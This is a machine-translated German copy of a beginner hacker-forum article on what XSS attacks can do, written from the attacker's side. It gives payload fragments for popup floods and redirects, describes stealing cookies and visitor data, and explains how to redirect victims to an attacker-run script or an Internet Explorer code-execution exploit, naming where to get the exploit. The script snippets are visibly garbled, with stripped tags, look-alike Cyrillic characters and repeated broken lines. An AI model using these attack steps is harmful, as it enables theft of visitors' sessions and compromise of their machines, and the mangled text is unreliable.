This page has been robot translated, sorry for typos if any. Original content here.

XSS an Anfänger. Der Zweck von XSS Attacken

Grüße, liebe Besucher des Portals! Ich möchte Ihnen etwas über den Zweck von XSS-Angriffen erzählen, da XSS-Schwachstellen eine viel größere Gefahr darstellen als nur das Stehlen von Cookies. Über alles in Ordnung ...

Zuerst über XSS im Allgemeinen. Die Abkürzung XSS steht für Cross Site Script ("Crossite Scripting"). Es wird akzeptiert, es als XSS zu bezeichnen, nicht als CSS, da das CSS viel früher eingeführt wurde, und es bedeutet Stilvorlagen - "Cascading Stylesheets" (im Design von HTML-Seiten verwendet). Cross ist ein "Kreuz", also wird der erste Buchstabe in "Cross-Site Scripting" durch "X" ersetzt.

XSS ist eine Schwachstelle auf dem Server, die es ermöglicht, einen beliebigen HTML-Code in die von den Skripten auf dem Server generierte HTML-Seite (nicht im Skript, anders als PERL oder PHP-Inlining) einzufügen, indem sie als Wert einer ungefilterten Variablen übergeben wird. Eine "ungefilterte" Variable bedeutet eine Variable, die vor der Verwendung in einem Skript (z. B. PHP) nicht auf verbotene Zeichen geprüft wird, wie zB: ,,, und viele andere. Zuerst wird der Wert der Variablen von der im Browser des Benutzers geladenen HTML-Seite in das php-Skript übertragen (über die POST- oder GET-Anfrage). Die POST-Anforderung übergibt Variablen über ein Array, das nicht in der Adressleiste des Browsers angezeigt wird. Die GET-Anfrage erkennt sich in der Adressleiste wie folgt:
http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0 Also, das hz.php Skript wird Variablen übergeben:
$ name - mit dem Wert "News",
$ Datei - mit dem Wert "artiсle",
$ sid - mit einem Wert von "3499" et ...

Natürlich ist es bequemer, mit GET-Requests zu arbeiten, daher behält der Hacker die Seite der gehackten Site und in der Zeile:
FОRМ АСTION="http://www.hackzona.ru/hz.php" METHOD=РOST POST ersetzt durch GET. Das nächste npp-Skript erzeugt zum Beispiel eine HTML-Seite, in der der Wert einer der übertragenen Variablen ohne Filterung angezeigt wird. ABER! Wenn ein Angreifer beim Erstellen einer GET-Anforderung einige Schlüssel-Tags für die Variable ersetzt (z. B. oder <BR>), dann werden sie vom Interpreter ausgeführt!

So wurde behoben, dass die meisten Computer-Hooligans XSS nur zum Stehlen von Cookies verwenden (Cookies - in den meisten Fällen speichern sie eine Sitzung und weisen sich selbst zu, welcher Angreifer sich auf einer Seite unter einem anderen Account befinden kann, zum Beispiel in einem Forum, in dem eine Registrierung wünschenswert ist.) Sie speichern auch verschlüsselt Passwort, entschlüsseln welcher, der Hooligan kann das Konto zu 100% nutzen). Aber XSS-Fehler sind nicht auf das Stehlen von Cookies beschränkt.

Eigentlich der Höhepunkt-Absatz :) .

Was erlauben uns XSS-Schwachstellen?

1) Alle Arten von "podlyanki" im Zusammenhang mit der Einschränkung der Benutzer auf normale Aktivitäten auf der Website. Zum Beispiel die Ausgabe einer unendlichen Anzahl von Fenstern (Beispiel unten) oder Nachrichten (die Bestätigungs- oder Alarm-Methode) als Ergebnis einer Benutzeraktion (Klicken, Bewegen über ein Objekt, nur durch Eingabe der Site). Oder umleiten zu einem anderen Knoten. Versuchen Sie, diesen Code (ohne Änderungen) in der gefährdeten Site zu implementieren:
window.loсation.href="http://hackzona.ru" сriрt> Versuchen Sie auch nach dem ersten Testen auf Ihrem Computer das folgende Skript. Erstellen Sie eine 1.html-Datei mit diesem Inhalt:
<Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
<Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
е>
еad> <Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
<Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
сriрt> <Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
оdy>Нtml> und öffne es in jedem Browser.

2) Diebstahl von vertraulichen Besucherinformationen. Vor allem werde ich hier den Diebstahl von Cookies (doçument.cookie) als wichtigstes Sicherheitsattribut für Benutzer (in diesem Abschnitt) betrachten. Auch in diesem Abschnitt ist der Diebstahl von Informationen über das System und Browser des Benutzers (Navigator-Objekt, aktuelle Uhrzeit, IP-Adresse, sowie die Geschichte der besuchten Seiten (das History-Objekt als ein Array, aktuelle Geschichte [0], vorherige Geschichte [-1], insgesamt) Seiten history.length) und vieles mehr. Hier ist ein Beispiel für ein Skript, das die IP-Adresse eines Besuchers an die IP-Variable und den Computernamen in der Host-Variablen (in Oracle, Mozilla, Mizilla Firefox) zurückgibt:

myAddress=jаva.net.InetAddress.getLoсalHost();
myAddress2=jаva.net.InetAddress.getLoсalHost();
host=myAddress.getHostName();
iр=myAddress2.getHostAddress();
сriрt> 3) Alles was CGI-, PERL-, PHP-, ASR-Skripte können. Und das ist alles, was JS + weiß, wie viele angenehme Kleinigkeiten. Ich meine, das ist die zweite Möglichkeit, vertrauliche Informationen zu stehlen. Es ist viel bequemer, weil Es ist notwendig, nicht den gesamten Code in der HTML-Seite durch die Basisvariable zu implementieren, sondern nur eine Verbindung zum Skript; Je mehr diese Skips mehr Möglichkeiten haben. Der Nachteil ist, dass dies der blassere (wenn irrational verwendete) und nicht-mobile Weg ist, je mehr das Opfer in irgendeiner Weise unerwünschte Ladung aussieben kann. Beispielsweise implementieren Sie den folgenden Code in der HTML-Seite:
window.loсation.href="http://hackzona.ru/haсkerssсriрt.php" сriрt> Hackzona.ru ist hier ein Hacker-Server, und haskersrss.php ist ein Hacker-Skript, das bestimmte Aktionen ausführt. Beim Betreten der gehackten Seite wird das Opfer zu dem Skript http://hackzona.ru/haśkerssсriðt.php weitergeleitet, das seine Aufgabe erfüllt (wenn das Opfer den Download nicht unterbricht). Natürlich gibt es weniger blasse Möglichkeiten zum Laden von Skripten als window.location.href; Ich brachte ihn nur um es klarzustellen.

4) Unvorhergesehen vom Standard der Browserfähigkeiten. Es gibt viele Sicherheitslücken in Browsern, die bei der Verarbeitung von Code entweder DoS aufrufen oder den Zugriff auf bestimmte Dateien gewähren oder die Ausführung von beliebigem Code auf dem System des Benutzers oder etwas, das für den Benutzer nicht angenehm ist. Viele bekannte und oft verwendete Browser (Internet Exlorer, Netscare, Mozilla, Mozilla Firefox, Orera und alles, was auf ihren Engines erstellt wird) sind anfällig. Nur einige ihrer Versionen oder gepatchte Browser sind unverwundbar. Vor kurzem (zum Zeitpunkt des Schreibens) entdeckte Benjamin Tobias Franz eine kritische Schwachstelle des Browsers Internet Explorer (v5.5, 6.0), der es erlaubt, beliebigen Code im System des Benutzers auszuführen. Wie kann ich beliebigen Code von einem Benutzer ausführen, der sich an einer Site anmeldet, die eine XSS-Sicherheitsanfälligkeit aufweist? Wir nutzen einen Exploit, der von Stuart Person geschrieben wurde (du kannst es von hier aus nehmen: myphp4.h15.ru/day-explorer.rar oder von sesurelab.ru), bestehend aus vier htm und einer html-Datei, zu unserem Server, zum Beispiel cooolhacker. yo. Implementieren Sie den folgenden Code in einer anfälligen Site
window.loсation.href="http://сoolhaсker.yo/0day.html" сriрt> Nun wird das Opfer auf die Seite des Servers, in den wir den Code implementiert haben, zur Exploit-Seite http: //coolhaсker.yo/0day.html weitergeleitet, die beliebigen Code ausführt (in unserem Fall wird es сальс.exe starten).

Das ist alles, was ich im Moment mit Ihnen teilen möchte. Wie Sie sehen können, sind die Möglichkeiten von XSS-Attacken sehr hoch. Sie können Massenwitze und Podlyanki organisieren, Informationen und vertrauliche Daten stehlen und sogar ganze Botnets erstellen, die Website-Besucher zombieren! XSS-Fehler werden immer bestehen, da sie die Website-Besucher zuerst gefährden, aber nicht den Server; und die Verwaltung hat wenig Anreiz, diese Fehler zu korrigieren. Alles, ich bin fertig :)

Hinweis:
Alle Zeichen "weniger" und "mehr" werden jeweils durch "<" und ">" ersetzt.